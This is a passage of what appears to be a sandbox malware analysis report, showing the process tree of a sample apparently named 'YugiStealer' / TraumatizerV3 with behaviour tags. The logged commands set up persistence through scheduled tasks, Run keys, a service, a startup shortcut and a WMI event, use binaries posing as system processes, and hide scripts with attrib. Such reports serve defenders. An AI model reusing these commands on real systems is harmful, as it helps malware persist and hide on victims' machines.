      PID:4528
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:7112
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6348
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:2892
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:1192
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1564
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:3140
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6108
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_192641.bat"
    3⤵
    PID:8052
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:8904
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6840
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:9976
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      PID:10456
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:11216
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6664
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      PID:9344
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:8284
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5484
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      PID:2272
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:12244
- C:\Windows\system32\cmd.exe
  "cmd" /c "tasklist /v /fo csv"
  2⤵
  PID:5400
- - C:\Windows\system32\tasklist.exe
    tasklist /v /fo csv
    3⤵
    - Enumerates processes with tasklist
    PID:3476

C:\Users\Public\Documents\csrss.exe
"C:\Users\Public\Documents\csrss.exe"
1⤵
- Drops startup file
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:4280
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5796
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:2804
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1124
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3900
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:4628
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3996
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:3752
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:5112
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:1180
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:3188
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5736
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:2064
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onstart /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2992
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:4888
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:4544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\csrss.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\csrss.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3972
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\csrss.exe\" start= auto"
  2⤵
  PID:5384
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\csrss.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:5728
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\csrss.exe\" /f"
  2⤵
  PID:1824
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\csrss.exe\" /f
    3⤵
    - Modifies registry key
    PID:5016
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\csrss.exe\" /f"
  2⤵
  PID:2224
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\csrss.exe\" /f
    3⤵
    - Modifies registry key
    PID:5804
- C:\Windows\Temp\xuIfUxkH\TraumatizerV3.exe
  "C:\Windows\Temp\xuIfUxkH\TraumatizerV3.exe"
  2⤵
  PID:484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:2584
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Windows\Temp\xuIfUxkH\FartnutsTrauma.vbs
  2⤵
  PID:6168
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:6972
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\xuIfUxkH\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:2292
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1360
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\xuIfUxkH\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:1664
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\xuIfUxkH\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:7072
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3864
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\xuIfUxkH\FartnutsTrauma.vbs"
      4⤵
      PID:1452
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\xuIfUxkH\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3972
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3956
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\xuIfUxkH\FartnutsTrauma.vbs"
      4⤵
      PID:6768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\xuIfUxkH\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:4300
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_192641.bat"
    3⤵
    PID:1420
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:10044
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:7360
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:6068
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      PID:5096
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:7332
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:8224
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      PID:10392
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:7456
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:11172
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      Views/modifies file attributes
      PID:7296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:12252
- C:\Users\Admin\Downloads\TraumatizerV3.exe
  "C:\Users\Admin\Downloads\TraumatizerV3.exe"
  2⤵
  PID:6248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6412
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs
  2⤵
  PID:6284
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:6980
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:6604
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2716
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:6456
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:3348
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6980
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1416
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:5016
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:6856
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:6512
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:4544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:6788
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_192629.bat"
    3⤵
    PID:3956
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:7880
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:9068
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:8728
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      PID:7944
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:3156
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:8996
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      Views/modifies file attributes
      PID:7472
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:9096
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:8256
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      PID:10176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:9276
- C:\Windows\system32\cmd.exe
  "cmd" /c "tasklist /v /fo csv"
  2⤵
  PID:6460
- - C:\Windows\system32\tasklist.exe
    tasklist /v /fo csv
    3⤵
    - Enumerates processes with tasklist
    PID:3440

C:\Windows\Temp\lsass.exe
"C:\Windows\Temp\lsass.exe"
1⤵
- Drops startup file
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2472
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:2936
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3572
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3208
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2968
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:804
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:1552
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:248
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:2792
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:3732
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3972
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:3748
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onstart /f /rl highest
    3⤵
    PID:4204
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:1820
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\lsass.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\lsass.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3812
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\lsass.exe\" start= auto"
  2⤵
  PID:1392
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\lsass.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:3320
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f"
  2⤵
  PID:4336
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f
    3⤵
    - Modifies registry key
    PID:4576
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f"
  2⤵
  PID:760
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f
    3⤵
    - Modifies registry key
    PID:1664
- C:\Windows\Temp\DLwneo3n\TraumatizerV3.exe
  "C:\Windows\Temp\DLwneo3n\TraumatizerV3.exe"
  2⤵
  PID:4728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:4444
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Windows\Temp\DLwneo3n\FartnutsTrauma.vbs
  2⤵
  PID:2956
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:1360
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\DLwneo3n\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6488
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5544
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\DLwneo3n\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:6924
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\DLwneo3n\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6968
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:6808
  - - C:\Windows\system32\attrib.exe
